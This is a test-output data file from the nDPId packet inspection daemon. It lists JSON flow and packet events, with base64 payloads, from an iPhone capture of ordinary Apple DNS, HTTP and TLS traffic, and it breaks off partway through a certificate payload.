+02176{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":450581,"pkt_caplen":1357,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1357,"pkt_l4_len":1323,"pkt":"xGGLNYKpxiwDYGpkCABFAgU\/RBEAADUGAVNfZRk1wKgCEQG7xZCMPbCToKaarYAYAOtpVAAAAQEICiLQBMgR3+dugmt7KJxMVZWwF945F0lKmEycQpJpUY6bqgQAK0nf+pJkj8E4rQ2x0y69LVDPgTpM9+czdnZBqCtr0boqaxCnCou3ABaxHRDO3QOoQ9srWmvjnio9WOJc0RyydygK0sfNQgeRBBD5TX7AJOFWbWBNBRFb\/rgvGpac1+gfT+sF0qDvHzBTh4qZfWt70wb6kUq+TuTjHNkv2NPrW10foiOkq104Veip5IYLlvX6jJJoW9m7yGqg+HmD84C3eofwA7\/j423hl8zwElvTVgCT8CYQ9GHIJ6J23Mo9iJ0yPb+KmOQ17V1w2iJlgD1hnIzDTR\/9eawqPpUDrAlegXvQ7qyX1QVZ0ccuJgRCoivbXN4sI3nUqLJeAJlVwD33DOkrlN4LKKcGtzjjRKBD9PqOUhK+vucR4AlMcOloNDD8whM3\/7Uvh0Rw\/x\/wQIKA8O8PaubbivYz9ZuQee\/1+N4tl+B24UCFHS97462jIlvL4MMyLJoBmX4bqcsl7JuhnshEZqYRhAxv3E3hImAPiqBb9KTUUIYfSLduJhEkb5B7TROUVUIJnXtE2AEoTa6t9+vi6q2w35Hp2F4oXNQyt+Pg9WmS128At3EEV+7udejZeogSutH84l3\/gU3DHjXQngDFihTAe5lPhecROgnyt5VwMd7O6YmRVfsOj42H\/ZH++1lodHkSGZ\/Ns0idkEjNVeIUJXHatyAGizQCJLChFLJtUpsgx+LqaYSFyasVirotsfxW8fPr8gz6AO6X1xrOIthBzZivHw\/5Sg+6fuYKlg5RzNqe79T9dBIWg+AaXnnTPYtthEfqmlkcYaXftLR08355QpmDcgA5h0VZX1y0\/0z54asjoqxdopyEaM5UU23F2h+Pp8DMPXbIncESNtJCRk3GceU0qa0huwcUA9dR1QqzBt2TL3riXhYuTtVvmRtEon6U807KGkbxbuHtHlhdW3cSI+tTfBz7I+hXABTeTJVO4g8mv1BAmUM6vyDDncjK3Xj8YBPPycJiFQ1cUJ7jLRuEqp\/0kGCIEiBEfdqhMqk5Rlld4JEvLX6jgjxrqCuMUDOlsUA6yL662ZF4Vpvo6uo464ZQOZz7XsmdWiOw+RaFw7qhWQ1reG2Q2j7DyEkGPSbe6onvVnDamhq5+jAVXV0a8G7cckRdj8uMRmwc8l\/ydunQOPjhiJf7Il6ktccZOhkjPvbcy8VHUrWFXxpPjD60h8WX7lXO3L\/D0Tz9LtjWnvUnxEoH+xcDAwEZpPOf8OFnzfkDs2drmUC6EcnKQ3SAKivt4v8R4Q1FPQe4UISNG0FODAwySWon0CwLOpkYx9CT8LZDL7bln38LoKfHARhmHOw13Wi3wHw9AIT\/VGlLKqXWu\/PxlR3mPZEujxY4g\/rVWzWQBMFz66kgYgXI+TuVGbshEvmZSiDhUW6ikCjks8NIoL1xirlrFthKY20YhUaE1n4byzL6AGus2JKRCFoRjPbENPskoqCjsbpRNInibFuyIJ43zFOOhfjsYoE\/IW9NuWAlKBlzZlwr2PizZJB1SK38851iXxDDYjtusoE8VQPuPm8sO706fvdHg7kJ4\/ZNC0bqmVcnsIxJ7YBRIv5znHB7naMauQSrBN5ldew5TnMLuZAXAwMARUhAR5euyYskRoGFBFBTF9Qk097xjzfKwqne\/fGRbtdQ5mNxRFiSfFKQqm5Zaif0061VAnpXWKF26Uos\/8JehejdlVj3gQ=="} +00437{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":453979,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADIGSjwR\/WnKwKgCEQG7xZNpWNRgMiTvFqBScNC35wAAAgQFrAQCCAoAH8DDEd\/neQEDAwg="} +00438{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":459069,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADIGSjwR\/WnKwKgCEQG7xZLy+qnpfzqpjaBScNDegAAAAgQFrAQCCAqK\/qiVEd\/ndwEDAwg="} +02177{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":530624,"pkt_caplen":1357,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1357,"pkt_l4_len":1323,"pkt":"xGGLNYKpxiwDYGpkCABFAAU\/RBIAADUGAVRfZRk1wKgCEQG7xZCMPbCToKaarYAYAOtpBAAAAQEICiLQBRgR3+dugmt7KJxMVZWwF945F0lKmEycQpJpUY6bqgQAK0nf+pJkj8E4rQ2x0y69LVDPgTpM9+czdnZBqCtr0boqaxCnCou3ABaxHRDO3QOoQ9srWmvjnio9WOJc0RyydygK0sfNQgeRBBD5TX7AJOFWbWBNBRFb\/rgvGpac1+gfT+sF0qDvHzBTh4qZfWt70wb6kUq+TuTjHNkv2NPrW10foiOkq104Veip5IYLlvX6jJJoW9m7yGqg+HmD84C3eofwA7\/j423hl8zwElvTVgCT8CYQ9GHIJ6J23Mo9iJ0yPb+KmOQ17V1w2iJlgD1hnIzDTR\/9eawqPpUDrAlegXvQ7qyX1QVZ0ccuJgRCoivbXN4sI3nUqLJeAJlVwD33DOkrlN4LKKcGtzjjRKBD9PqOUhK+vucR4AlMcOloNDD8whM3\/7Uvh0Rw\/x\/wQIKA8O8PaubbivYz9ZuQee\/1+N4tl+B24UCFHS97462jIlvL4MMyLJoBmX4bqcsl7JuhnshEZqYRhAxv3E3hImAPiqBb9KTUUIYfSLduJhEkb5B7TROUVUIJnXtE2AEoTa6t9+vi6q2w35Hp2F4oXNQyt+Pg9WmS128At3EEV+7udejZeogSutH84l3\/gU3DHjXQngDFihTAe5lPhecROgnyt5VwMd7O6YmRVfsOj42H\/ZH++1lodHkSGZ\/Ns0idkEjNVeIUJXHatyAGizQCJLChFLJtUpsgx+LqaYSFyasVirotsfxW8fPr8gz6AO6X1xrOIthBzZivHw\/5Sg+6fuYKlg5RzNqe79T9dBIWg+AaXnnTPYtthEfqmlkcYaXftLR08355QpmDcgA5h0VZX1y0\/0z54asjoqxdopyEaM5UU23F2h+Pp8DMPXbIncESNtJCRk3GceU0qa0huwcUA9dR1QqzBt2TL3riXhYuTtVvmRtEon6U807KGkbxbuHtHlhdW3cSI+tTfBz7I+hXABTeTJVO4g8mv1BAmUM6vyDDncjK3Xj8YBPPycJiFQ1cUJ7jLRuEqp\/0kGCIEiBEfdqhMqk5Rlld4JEvLX6jgjxrqCuMUDOlsUA6yL662ZF4Vpvo6uo464ZQOZz7XsmdWiOw+RaFw7qhWQ1reG2Q2j7DyEkGPSbe6onvVnDamhq5+jAVXV0a8G7cckRdj8uMRmwc8l\/ydunQOPjhiJf7Il6ktccZOhkjPvbcy8VHUrWFXxpPjD60h8WX7lXO3L\/D0Tz9LtjWnvUnxEoH+xcDAwEZpPOf8OFnzfkDs2drmUC6EcnKQ3SAKivt4v8R4Q1FPQe4UISNG0FODAwySWon0CwLOpkYx9CT8LZDL7bln38LoKfHARhmHOw13Wi3wHw9AIT\/VGlLKqXWu\/PxlR3mPZEujxY4g\/rVWzWQBMFz66kgYgXI+TuVGbshEvmZSiDhUW6ikCjks8NIoL1xirlrFthKY20YhUaE1n4byzL6AGus2JKRCFoRjPbENPskoqCjsbpRNInibFuyIJ43zFOOhfjsYoE\/IW9NuWAlKBlzZlwr2PizZJB1SK38851iXxDDYjtusoE8VQPuPm8sO706fvdHg7kJ4\/ZNC0bqmVcnsIxJ7YBRIv5znHB7naMauQSrBN5ldew5TnMLuZAXAwMARUhAR5euyYskRoGFBFBTF9Qk097xjzfKwqne\/fGRbtdQ5mNxRFiSfFKQqm5Zaif0061VAnpXWKF26Uos\/8JehejdlVj3gQ=="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"iphone.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1582454598542,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52852,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":542807,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAIN8AAP8RFWvAqAIRwKgCAc50ADUALLvssQ8BAAABAAAAAAAAB2dhdGV3YXkGaWNsb3VkA2NvbQAAAQAB"} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":85,"source":"iphone.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1582454598542,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52852,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"gateway.icloud.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00424{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":544705,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysAAAFAslesym7UszoAQCBZUCQAAAQEIChHf5+gdNCSF"} +00602{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545135,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"xiwDYGpkxGGLNYKpCABFAgC3AABAAEAG+77AqAIREf1pysAAAFAslesym7UszoAYCBZ75QAAAQEIChHf5+kdNCSFR0VUIC9ob3RzcG90LWRldGVjdC5odG1sIEhUVFAvMS4wDQpIb3N0OiBjYXB0aXZlLmFwcGxlLmNvbQ0KQ29ubmVjdGlvbjogY2xvc2UNClVzZXItQWdlbnQ6IENhcHRpdmVOZXR3b3JrU3VwcG9ydC0zOTAuNjAuMSB3aXNwcg0KDQo="} +00696{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"iphone.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":4,"flow_first_seen":1582454598387,"flow_last_seen":1582454598545,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":32,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":49152,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Apple","breed":"Safe","category":"ConnectivityCheck"},"http": {"hostname":"captive.apple.com","url":"captive.apple.com\/hotspot-detect.html","code":0,"content_type":"","user_agent":"CaptiveNetworkSupport-390.60.1 wispr"}} +00424{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545149,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZFvAqAIREYICLsWRAbsZOusY368Fo4AQBAtqWAAAAQEIChHf5\/C1T9He"} +01123{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545339,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGYlTAqAIREYICLsWRAbsZOusY368Fo4AYBAtvbAAAAQEIChHf5\/C1T9HeFgMBAgABAAH8AwM6mEOdusbq\/ybUNBuomqShrPK58qj3XjuDYY2EHh6A2yDTYkCcwL+VPEDok15qjRZu79\/9di6dUR8br4F4StJmaAA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABsAGQAAFmdzcDg1LXNzbC5scy5hcHBsZS5jb20AFwAAACMAAAANABgAFgQDCAQEAQUDAgMIBQgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAADMAJgAkAB0AIN+r0D4xweI5p++PFWedre1z33L6xxisP0vyRpUTwaJfAC0AAgEBACsACQgDBAMDAwIDAQAKAAoACAAdABcAGAAZABUAwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00781{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":89,"source":"iphone.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1582454598385,"flow_last_seen":1582454598545,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.130.2.46","src_port":50577,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gsp85-ssl.ls.apple.com","ja3":"55271a105172d5f225e4704755b9b250","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00427{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545614,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/3DAqAIRX2UZNcWQAbugppqtjD2r04AQA\/TbXQAAAQEIChHf5\/Ei0ATG"} +00426{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545740,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/3DAqAIRX2UZNcWQAbugppqtjD2wk4AQA+vWpgAAAQEIChHf5\/Ei0ATG"} +00426{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545750,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/3DAqAIRX2UZNcWQAbugppqtjD21noAQA+DRpAAAAQEIChHf5\/Ei0ATI"} +00442{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545798,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAG\/2TAqAIRX2UZNcWQAbugppqtjD21nrAQA+AckAAAAQEIChHf5\/Ei0AUYAQEFCow9sJOMPbWe"} +00426{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":545888,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/3DAqAIRX2UZNcWQAbugppqtjD21noAQBADRNAAAAQEIChHf5\/Ei0AUY"} +00425{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":546213,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysWTAbsyJO8WaVjUYYAQBAtTNAAAAQEIChHf5\/cAH8DD"} +01125{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":546273,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAG+jzAqAIREf1pysWTAbsyJO8WaVjUYYAYBAtPcwAAAQEIChHf5\/cAH8DDFgMBAgABAAH8AwOBTBzeu5w1Vp+4geGIpFJ17FWadQ3l1s5HLAc6L2e5gyD\/YLmMW82uuwbbKEYkARjm9\/sVvKjvTmHajlJ93y\/zswA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABMAEQAADm1lc3UuYXBwbGUuY29tABcAAAANABgAFgQDCAQEAQUDAgMIBQgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAADMAJgAkAB0AIPp0HJk26NqhkuEuWSOpHU2lL9tl\/4KvwEcCcIghS34tAC0AAgEBACsACQgDBAMDAwIDAQAKAAoACAAdABcAGAAZABUAzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":96,"source":"iphone.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":4,"flow_first_seen":1582454598418,"flow_last_seen":1582454598546,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":50579,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mesu.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00427{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":546318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysWSAbt\/OqmN8vqp6oAQBAt5ywAAAQEIChHf5\/eK\/qiV"} +01126{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":546492,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAG+jzAqAIREf1pysWSAbt\/OqmN8vqp6oAYBAvCpQAAAQEIChHf5\/iK\/qiVFgMBAgABAAH8AwOL0zmb\/pU6qAogKIFd\/Y4fHsvdGFAF8ZjXl6m9+L0uvyBBR6wrPbvh3W2j8rwh4NW3lc0cwhULV8gFfvx3+QKTDgA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABMAEQAADm1lc3UuYXBwbGUuY29tABcAAAANABgAFgQDCAQEAQUDAgMIBQgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAADMAJgAkAB0AIGFNND5R7cze3Z4nraCyXLPxW4F9FRO9m0bNnjdxh\/Y+AC0AAgEBACsACQgDBAMDAwIDAQAKAAoACAAdABcAGAAZABUAzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":98,"source":"iphone.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1582454598416,"flow_last_seen":1582454598546,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":50578,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mesu.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":556458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0f0MAADEGfEMR+LmMwKgCEQG7xY+mDHMLDeq42oAQA6uuGQAAAQEICvbpn14R3+dr"} +02355{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":558094,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUf0QAADEGdqAR+LmMwKgCEQG7xY+mDHMLDeq42oAQA6v0iwAAAQEICvbpn2AR3+drFgMDAG4CAABqAwM5\/rpwu4XTsZQaX3QVQs01vHFjEUurGLPVnyNHYTxc1SDLsh\/zpULORnljfAzCAx09xii78Mvy2XehUxljdu16MMAsAAAiAAAAAP8BAAEAAAUAAAALAAIBAAAQAAsACQhodHRwLzEuMRYDAxOPCwATiwATiAAPPjCCDzowgg4ioAMCAQICEAYmxU4Ra06nkoVjMfiS+ZswDQYJKoZIhvcNAQELBQAwYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE5MTIwOTE5NDQwMloXDTIxMDEwNzE5NTQwMFowVjEdMBsGA1UEAwwUZm1mbW9iaWxlLmljbG91ZC5jb20xEzARBgNVBAoMCkFwcGxlIEluYy4xEzARBgNVBAgMCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQifiE0uVN9JNPaVE\/RwxSRGnMjn5uDQ1GBxydIgahaf+LmEJkXkho7D\/TwA2AuzIlJvLZM8glg+dO7rpqpWLWqOCDMEwggy9MAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAU2HqURHyQcJAWnt0XnAFEA4bWKikwfgYIKwYBBQUHAQEEcjBwMDQGCCsGAQUFBzAChihodHRwOi8vY2VydHMuYXBwbGUuY29tL2FwcGxlaXN0Y2EyZzEuZGVyMDgGCCsGAQUFBzABhixodHRwOi8vb2NzcC5hcHBsZS5jb20vb2NzcDAzLWFwcGxlaXN0Y2EyZzEyNTCCB90GA1UdEQSCB9QwggfQghhwNjctZm1mbW9iaWxlLmljbG91ZC5jb22CGHA0OC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDUzLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMzQtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA3Mi1mbWZtb2JpbGUuaWNsb3VkLmNvbYIUZm1mbW9iaWxlLmljbG91ZC5jb22CGHAwOC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDEyLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMDItZm1mbW9iaWxlLmljbG91ZC5jb22CGHAyOS1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDUyLWZtZm1vYmlsZS5pY2xvdWQuY29tghhwMjYtZm1mbW9iaWxlLmljbG91ZC5jb22CGHAwNi1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDk3LWZtZm1vYmlsZS5pY2xvdWQuY29tghhwNDEtZm1mbW9iaWxlLmljbG91ZC5jb22CGHA0MC1mbWZtb2JpbGUuaWNsb3VkLmNvbYIYcDE4LWZtZm1vYmlsZS5pY2xvdWQuY29t